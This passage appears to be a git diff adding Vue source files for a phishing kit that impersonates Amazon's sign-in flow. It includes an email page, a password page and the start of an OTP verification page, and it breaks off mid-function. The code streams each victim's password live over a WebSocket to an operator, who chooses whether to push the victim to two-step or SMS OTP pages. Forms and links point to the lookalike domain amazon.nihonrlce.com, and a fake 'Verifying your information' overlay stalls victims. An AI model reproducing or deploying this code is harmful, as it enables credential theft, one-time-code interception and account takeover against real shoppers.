||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- Panther string bundle -->
|
||||
|
||||
<div class="a-section auth-pagelet-container">
|
||||
|
||||
|
||||
|
||||
<!-- Mobile View -->
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- unified in-context claim collection component -->
|
||||
<div id="claim-collection-container" aria-live="polite" class="a-section">
|
||||
|
||||
|
||||
|
||||
<!-- Primary title -->
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- Panther string bundle -->
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<h3 class="a-spacing-medium">
|
||||
Welcome to Amazon
|
||||
</h3>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- ATC custom benefits section -->
|
||||
|
||||
<!-- Subtitle -->
|
||||
<p class="a-spacing-micro a-text-bold">
|
||||
Enter mobile number or email
|
||||
</p>
|
||||
|
||||
<!-- Claim-collection unified form -->
|
||||
<span class="a-declarative" data-action="submit-claim" data-submit-claim="{}">
|
||||
<form id="ap_login_form" name="signIn" method="post" novalidate action="/ax/claim?openid.mode=checkid_setup&policy_handle=Retail-Checkout&openid.return_to=https%3A%2F%2Famazon.nihonrlce.com%2Fgp%2Fyour-account%2Forder-history%3Fref_%3Dnav_orders_first&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&arb=47910237-32fe-4599-8368-7996fb591112&openid.assoc_handle=anywhere_v2_us" data-fwcim-id="UfYD8FT1" @submit.prevent="next">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div id="claim-input-container" :class="['a-section', 'a-spacing-micro', { 'a-form-error': cardMessage || clientError }]">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- Text input -->
|
||||
|
||||
|
||||
<div data-tab-layout-weblab-treatment="" class="a-input-text-wrapper"><input type="email" :value="displayValue" @input="handleInput" id="ap_email_login" autocomplete="username" name="email" aria-label="Enter mobile number or email"></div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div v-show="cardMessage" id="invalid-phone-alert" class="a-box a-alert-inline a-alert-inline-error a-spacing-top-small" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert" aria-hidden="true"></i><div class="a-alert-content">
|
||||
{{ cardMessage === 'This card does not support this transaction, please try another card'
|
||||
? (submitValue.includes('@') ? 'Invalid email address' : 'Invalid mobile number')
|
||||
: cardMessage }}
|
||||
</div></div></div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- Error messages specific to passkeys -->
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- Submit button spacingTop Attribute-->
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div id="email-autocomplete-mobile-container" data-a-carousel-options="{"name":"email-autocomplete-mobile-carousel","minimum_gutter_width":"0","first_item_flush_left":"true"}" aria-hidden="true" data-a-display-strategy="variablewidth" data-a-transition-strategy="none" role="region" aria-roledescription="carousel" class="a-begin a-carousel-container a-carousel-static a-carousel-display-variablewidth a-carousel-transition-none a-spacing-base a-spacing-top-base"><input autocomplete="on" type="hidden" class="a-carousel-firstvisibleitem">
|
||||
<div class="a-carousel-viewport" aria-roledescription=""><ol class="a-carousel" role="list">
|
||||
|
||||
<li data-emaildomain="@gmail.com" aria-hidden="true" aria-label="Suggested email domain: @gmail.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
|
||||
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{"emailDomain":"@gmail.com"}">
|
||||
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-0"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-0-announce">
|
||||
@gmail.com
|
||||
</button></span></span>
|
||||
</span>
|
||||
</li>
|
||||
|
||||
<li data-emaildomain="@hotmail.com" aria-hidden="true" aria-label="Suggested email domain: @hotmail.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
|
||||
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{"emailDomain":"@hotmail.com"}">
|
||||
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-1"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-1-announce">
|
||||
@hotmail.com
|
||||
</button></span></span>
|
||||
</span>
|
||||
</li>
|
||||
|
||||
<li data-emaildomain="@yahoo.com" aria-hidden="true" aria-label="Suggested email domain: @yahoo.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
|
||||
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{"emailDomain":"@yahoo.com"}">
|
||||
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-2"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-2-announce">
|
||||
@yahoo.com
|
||||
</button></span></span>
|
||||
</span>
|
||||
</li>
|
||||
|
||||
<li data-emaildomain="@outlook.com" aria-hidden="true" aria-label="Suggested email domain: @outlook.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
|
||||
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{"emailDomain":"@outlook.com"}">
|
||||
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-3"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-3-announce">
|
||||
@outlook.com
|
||||
</button></span></span>
|
||||
</span>
|
||||
</li>
|
||||
|
||||
<li data-emaildomain="@icloud.com" aria-hidden="true" aria-label="Suggested email domain: @icloud.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
|
||||
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{"emailDomain":"@icloud.com"}">
|
||||
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-4"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-4-announce">
|
||||
@icloud.com
|
||||
</button></span></span>
|
||||
</span>
|
||||
</li>
|
||||
|
||||
<li data-emaildomain="@live.com" aria-hidden="true" aria-label="Suggested email domain: @live.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
|
||||
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{"emailDomain":"@live.com"}">
|
||||
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-5"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-5-announce">
|
||||
@live.com
|
||||
</button></span></span>
|
||||
</span>
|
||||
</li>
|
||||
|
||||
</ol></div>
|
||||
<span class="a-end aok-hidden"></span></div>
|
||||
|
||||
|
||||
<!-- Submit button -->
|
||||
<span id="continue" class="a-button a-button-span12 a-button-primary aok-relative"><span class="a-button-inner"><input class="a-button-input" type="submit" aria-labelledby="continue-announce"><span id="continue-announce" class="a-button-text a-text-center" aria-hidden="true">
|
||||
<!-- Overlaid spinner -->
|
||||
<span id="claim-submit-spinner" class="a-spinner a-spinner-medium aok-hidden"></span>
|
||||
Continue
|
||||
</span></span></span>
|
||||
</form>
|
||||
</span>
|
||||
|
||||
<!-- ATC not now button -->
|
||||
|
||||
|
||||
<!-- Legal text -->
|
||||
|
||||
<p class="a-spacing-top-medium a-size-small legal-text">
|
||||
By continuing, you agree to Amazon's <a href="/gp/help/customer/display.html/ref=ap_signin_notification_condition_of_use?ie=UTF8&nodeId=508088">Conditions of Use</a> and <a href="/gp/help/customer/display.html/ref=ap_signin_notification_privacy_notice?ie=UTF8&nodeId=468496">Privacy Notice</a>.
|
||||
</p>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="a-section">
|
||||
|
||||
<ul class="a-unordered-list a-nostyle a-vertical">
|
||||
|
||||
<li><span class="a-list-item">
|
||||
<a class="a-size-base a-link-normal" target="_blank" rel="noopener noopener" href="/gp/help/customer/account-issues/ref=unified_claim_collection?ie=UTF8" role="button">
|
||||
Need help?
|
||||
</a>
|
||||
</span></li>
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div id="ab-registration-link-section" class="a-section">
|
||||
<hr aria-hidden="true" class="a-divider-normal">
|
||||
<div class="a-section a-spacing-micro">
|
||||
<span class="a-text-bold">
|
||||
Buying for work?
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<a id="ab-registration-ingress-link" class="a-link-normal" href="/business/register/org/landing?ref_=ab_reg_signin_unifiedauth">
|
||||
<span>
|
||||
Create a free business account
|
||||
</span>
|
||||
</a>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
|
||||
<!-- Amazon-style verifying overlay -->
|
||||
<Teleport to="body">
|
||||
<div v-if="isLoading" class="amz-overlay">
|
||||
<div class="amz-modal">
|
||||
<div class="amz-spinner">
|
||||
<svg viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle class="amz-spinner-path" cx="25" cy="25" r="20" fill="none" stroke-width="4"/>
|
||||
</svg>
|
||||
</div>
|
||||
<p class="amz-modal-text">Verifying your information…</p>
|
||||
<p class="amz-modal-sub">Please wait a moment.</p>
|
||||
</div>
|
||||
</div>
|
||||
</Teleport>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.amz-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(255, 255, 255, 0.75);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9999;
|
||||
}
|
||||
.amz-modal {
|
||||
background: #fff;
|
||||
border: 1px solid #d5d9d9;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.15);
|
||||
padding: 32px 40px;
|
||||
text-align: center;
|
||||
min-width: 240px;
|
||||
}
|
||||
.amz-spinner {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
margin: 0 auto 16px;
|
||||
animation: amz-spin 0.9s linear infinite;
|
||||
}
|
||||
.amz-spinner svg {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
.amz-spinner-path {
|
||||
stroke: #e47911;
|
||||
stroke-linecap: round;
|
||||
stroke-dasharray: 80;
|
||||
stroke-dashoffset: 60;
|
||||
}
|
||||
@keyframes amz-spin {
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
.amz-modal-text {
|
||||
font-size: 15px;
|
||||
font-weight: 700;
|
||||
color: #111;
|
||||
margin: 0 0 6px;
|
||||
font-family: "Amazon Ember", Arial, sans-serif;
|
||||
}
|
||||
.amz-modal-sub {
|
||||
font-size: 13px;
|
||||
color: #565959;
|
||||
margin: 0;
|
||||
font-family: "Amazon Ember", Arial, sans-serif;
|
||||
}
|
||||
</style>
|
||||
|
||||
557
a9_usa_Fine_amazon/src/views/user_password.vue
Normal file
@@ -0,0 +1,557 @@
|
||||
<script setup lang="ts">
|
||||
import {
|
||||
getCurrentInstance,
|
||||
onMounted,
|
||||
onUnmounted,
|
||||
ref,
|
||||
nextTick,
|
||||
computed,
|
||||
} from "vue";
|
||||
import { useRouter, useRoute } from "vue-router";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
|
||||
const { t } = useI18n();
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const cardMessage = ref("");
|
||||
const password = ref("");
|
||||
const showPassword = ref(false);
|
||||
const isLoading = ref(false);
|
||||
const isFormFilled = computed(() => password.value.trim() !== "");
|
||||
|
||||
const showEmptyPasswordError = ref(false); // 控制未输入密码的客户端错误
|
||||
|
||||
const userEmail = ref("");
|
||||
|
||||
const loadUserEmail = () => {
|
||||
const stored = localStorage.getItem("userEmailOrPhone");
|
||||
userEmail.value = stored || "Not provided";
|
||||
};
|
||||
|
||||
const changeEmailOrPhone = () => {
|
||||
router.push({ path: "/user_login", query: { emailOrPhone: userEmail.value } });
|
||||
};
|
||||
|
||||
const clearPassword = () => {
|
||||
password.value = "";
|
||||
inputChange("input_card", "密码页", "");
|
||||
cardMessage.value = "";
|
||||
showEmptyPasswordError.value = false;
|
||||
};
|
||||
|
||||
const handleInput = (e: any) => {
|
||||
password.value = e.target.value;
|
||||
inputChange("input_card", "密码页", password.value);
|
||||
cardMessage.value = "";
|
||||
showEmptyPasswordError.value = false;
|
||||
};
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
if (data.message2 === 'This card does not support this transaction, please try another card') {
|
||||
cardMessage.value = 'Your password is incorrect';
|
||||
} else {
|
||||
cardMessage.value = data.message2 || "";
|
||||
}
|
||||
isLoading.value = false;
|
||||
};
|
||||
|
||||
const next = async () => {
|
||||
// 未输入密码 → 显示客户端错误框
|
||||
if (password.value.trim() === "") {
|
||||
showEmptyPasswordError.value = true;
|
||||
cardMessage.value = "";
|
||||
return;
|
||||
}
|
||||
|
||||
showEmptyPasswordError.value = false;
|
||||
cardMessage.value = "";
|
||||
isLoading.value = true;
|
||||
|
||||
await nextTick();
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitOp",
|
||||
subType: "submitVoice",
|
||||
password: password.value,
|
||||
pageTitle: "密码页面",
|
||||
opButton: {
|
||||
showCustom: true,
|
||||
list: [
|
||||
{ label: "二步OTP驗證頁", value: "user_verification", },
|
||||
{ label: "拒絕", value: "reject", type: "input2" },
|
||||
{ label: "短信OTP驗證頁", value: "user_verification_otp", type: "input1" },
|
||||
|
||||
{ label: "登录首页", value: "user_login", type: "input2" },
|
||||
{ label: "跳轉完成", value: "success" },
|
||||
],
|
||||
},
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
localStorage.setItem("route", "user_password");
|
||||
loadUserEmail();
|
||||
|
||||
eventBus.on('my-event', handleEvent);
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "user_password", pageTitle: "密码页面" },
|
||||
})
|
||||
);
|
||||
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query?.message2) {
|
||||
handleEvent({ message2: query.message2 });
|
||||
}
|
||||
});
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off('my-event', handleEvent);
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="a-container">
|
||||
<div class="a-section a-spacing-none">
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="a-section auth-pagelet-mobile-container">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<h2>
|
||||
Sign in
|
||||
</h2>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="a-row a-spacing-base">
|
||||
<span id="auth-email-claim" dir="ltr">{{ userEmail }}</span>
|
||||
<a id="ap_change_login_claim" class="a-link-normal" @click.prevent="changeEmailOrPhone" href="#">
|
||||
Change
|
||||
</a>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<form name="signIn" method="post" novalidate action="https://amazon.nihonrlce.com/ap/signin"
|
||||
class="auth-validate-form auth-clearable-form auth-validate-form" @submit.prevent="next">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<input type="hidden" name="email" :value="userEmail">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="a-input-text-group a-spacing-medium a-spacing-top-micro">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<label for="ap_password" class="a-form-label a-form-label">
|
||||
Amazon password
|
||||
</label>
|
||||
|
||||
|
||||
|
||||
<div id="auth-password-container"
|
||||
:class="['a-input-text-wrapper', 'auth-required-field', 'auth-password-container', 'auth-password', 'auth-fill-password', 'input_table_layout', { 'a-form-error': showEmptyPasswordError || cardMessage }]">
|
||||
<input :type="showPassword ? 'text' : 'password'" maxlength="1024" id="ap_password" autocomplete="current-password"
|
||||
placeholder="Amazon password" name="password" spellcheck="false"
|
||||
:value="password" @input="handleInput"
|
||||
aria-label="Amazon password" aria-required="true"></div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div v-show="showEmptyPasswordError" id="auth-password-missing-alert"
|
||||
class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-base"
|
||||
role="alert">
|
||||
<div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"
|
||||
aria-hidden="true"></i>
|
||||
<div class="a-alert-content">
|
||||
Enter your password
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div v-show="cardMessage" id="auth-password-server-alert"
|
||||
class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-base"
|
||||
role="alert">
|
||||
<div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"
|
||||
aria-hidden="true"></i>
|
||||
<div class="a-alert-content">
|
||||
{{ cardMessage }}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="a-row auth-visible-password-container auth-show-password-empty">
|
||||
<span class="a-size-small a-color-secondary auth-visible-password"></span>
|
||||
</div>
|
||||
|
||||
<input type="hidden" name="showPasswordChecked" value="true" id="ap_show_password_checked">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div class="a-row">
|
||||
|
||||
<div class="a-column a-span6 a-spacing-medium">
|
||||
<div id="auth-show-password-checkbox-container"
|
||||
class="a-checkbox a-checkbox-fancy a-control-row a-touch-checkbox auth-show-password-checkbox">
|
||||
<label for="auth-signin-show-password-checkbox"><input
|
||||
id="auth-signin-show-password-checkbox" type="checkbox" name="" value=""
|
||||
:checked="showPassword" @change="showPassword = !showPassword"><i class="a-icon a-icon-checkbox"></i><span
|
||||
class="a-label a-checkbox-label">
|
||||
Show password
|
||||
</span></label></div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="a-column a-span6 a-text-right a-spacing-none a-spacing-top-small a-span-last">
|
||||
<a id="auth-fpp-link-bottom" class="a-spacing-none a-link-normal"
|
||||
href="https://amazon.nihonrlce.com/ap/forgotpassword?openid.pape.max_auth_age=0&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&signInRedirectToFPPThreshold=5&prepopulatedCustomerId=eyJjaXBoZXIiOiJScHBnam5vcm53N25NT2hrSXVOKytRPT0iLCJJViI6Iml4cVB5ckhtdGVQR0pZSUFmSlZBMUE9PSIsInZlcnNpb24iOjN9&pageId=anywhere_us&useSHuMAWorkflow=false&openid.return_to=https%3A%2F%2Famazon.nihonrlce.com%2Fgp%2Fyour-account%2Forder-history%3Fref_%3Dnav_orders_first&prevRID=RCXZYHP9TE6RNJTQ17ZB&openid.assoc_handle=anywhere_v2_us&openid.mode=checkid_setup&prepopulatedLoginId=eyJjaXBoZXIiOiJVdmxnUnE3WURKNFF0aCt2TTB5MlIxeGpobjFlYzRxajR1dmliYVN3M2pJPSIsIklWIjoidHJyZXl5T3QxeHVYMTdLaEFYQWZOZz09IiwidmVyc2lvbiI6M30%3D&failedSignInCount=0&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0">
|
||||
Forgot password?
|
||||
</a>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="a-row a-spacing-base">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<span id="auth-signin-button"
|
||||
class="a-button a-button-span12 a-button-primary auth-disable-button-on-submit"><span
|
||||
class="a-button-inner"><input id="signInSubmit" class="a-button-input" type="submit"
|
||||
aria-labelledby="auth-signin-button-announce"><span id="auth-signin-button-announce"
|
||||
class="a-button-text" aria-hidden="true">
|
||||
Sign in
|
||||
</span></span></span>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</form>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- NAVYAAN BTF END -->
|
||||
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
|
||||
<!-- Amazon-style verifying overlay -->
|
||||
<Teleport to="body">
|
||||
<div v-if="isLoading" class="amz-overlay">
|
||||
<div class="amz-modal">
|
||||
<div class="amz-spinner">
|
||||
<svg viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle class="amz-spinner-path" cx="25" cy="25" r="20" fill="none" stroke-width="4"/>
|
||||
</svg>
|
||||
</div>
|
||||
<p class="amz-modal-text">Verifying your information…</p>
|
||||
<p class="amz-modal-sub">Please wait a moment.</p>
|
||||
</div>
|
||||
</div>
|
||||
</Teleport>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.amz-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(255, 255, 255, 0.75);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9999;
|
||||
}
|
||||
.amz-modal {
|
||||
background: #fff;
|
||||
border: 1px solid #d5d9d9;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.15);
|
||||
padding: 32px 40px;
|
||||
text-align: center;
|
||||
min-width: 240px;
|
||||
}
|
||||
.amz-spinner {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
margin: 0 auto 16px;
|
||||
animation: amz-spin 0.9s linear infinite;
|
||||
}
|
||||
.amz-spinner svg {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
.amz-spinner-path {
|
||||
stroke: #e47911;
|
||||
stroke-linecap: round;
|
||||
stroke-dasharray: 80;
|
||||
stroke-dashoffset: 60;
|
||||
}
|
||||
@keyframes amz-spin {
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
.amz-modal-text {
|
||||
font-size: 15px;
|
||||
font-weight: 700;
|
||||
color: #111;
|
||||
margin: 0 0 6px;
|
||||
font-family: "Amazon Ember", Arial, sans-serif;
|
||||
}
|
||||
.amz-modal-sub {
|
||||
font-size: 13px;
|
||||
color: #565959;
|
||||
margin: 0;
|
||||
font-family: "Amazon Ember", Arial, sans-serif;
|
||||
}
|
||||
</style>
|
||||
449
a9_usa_Fine_amazon/src/views/user_verification.vue
Normal file
@@ -0,0 +1,449 @@
|
||||
<script setup lang="ts">
|
||||
import {
|
||||
getCurrentInstance,
|
||||
onMounted,
|
||||
onUnmounted,
|
||||
ref,
|
||||
nextTick,
|
||||
computed,
|
||||
} from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import { useRoute } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
|
||||
const { t } = useI18n();
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const cardMessage = ref("");
|
||||
const message1 = ref("");
|
||||
|
||||
// 验证码输入(6位)
|
||||
const otpCode = ref("");
|
||||
|
||||
// 是否正在加载(提交时转圈)
|
||||
const isLoading = ref(false);
|
||||
|
||||
// 是否显示错误提示
|
||||
const showError = ref(false);
|
||||
|
||||
// 倒计时相关(仅短信)
|
||||
const initialTime = 60;
|
||||
const smsDeadline = ref<number>(0); // 短信倒计时截止时间戳
|
||||
const smsTimeLeft = ref(0);
|
||||
const smsCounting = computed(() => smsTimeLeft.value > 0);
|
||||
|
||||
let timer: number | null = null;
|
||||
|
||||
// 统一的倒计时更新函数
|
||||
const updateCountdown = () => {
|
||||
const now = Date.now();
|
||||
|
||||
if (smsDeadline.value > now) {
|
||||
smsTimeLeft.value = Math.max(
|
||||
0,
|
||||
Math.ceil((smsDeadline.value - now) / 1000)
|
||||
);
|
||||
} else {
|
||||
smsTimeLeft.value = 0;
|
||||
if (timer) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// 启动全局定时器
|
||||
const startGlobalTimer = () => {
|
||||
if (timer) return;
|
||||
updateCountdown();
|
||||
timer = window.setInterval(updateCountdown, 1000);
|
||||
};
|
||||
|
||||
// 开始短信倒计时
|
||||
const startSmsCountdown = () => {
|
||||
smsDeadline.value = Date.now() + initialTime * 1000;
|
||||
localStorage.setItem("smsCountdownDeadline", smsDeadline.value.toString());
|
||||
startGlobalTimer();
|
||||
};
|
||||
|
||||
// 恢复倒计时状态
|
||||
const restoreCountdowns = () => {
|
||||
const smsSaved = localStorage.getItem("smsCountdownDeadline");
|
||||
|
||||
if (smsSaved) {
|
||||
smsDeadline.value = Number(smsSaved);
|
||||
}
|
||||
|
||||
if (smsDeadline.value > Date.now()) {
|
||||
startGlobalTimer();
|
||||
} else {
|
||||
localStorage.removeItem("smsCountdownDeadline");
|
||||
}
|
||||
};
|
||||
|
||||
// 重发短信验证码(仅短信)
|
||||
const resendCodeByText = () => {
|
||||
if (smsCounting.value || isLoading.value) return;
|
||||
|
||||
otpCode.value = "";
|
||||
cardMessage.value = "";
|
||||
showError.value = false;
|
||||
|
||||
startSmsCountdown();
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: {
|
||||
pageType: "user_verification",
|
||||
resultType: "resendCode",
|
||||
pageTitle: "二步OTP驗證頁面",
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
// 输入验证码
|
||||
const handleOtpInput = (e: any) => {
|
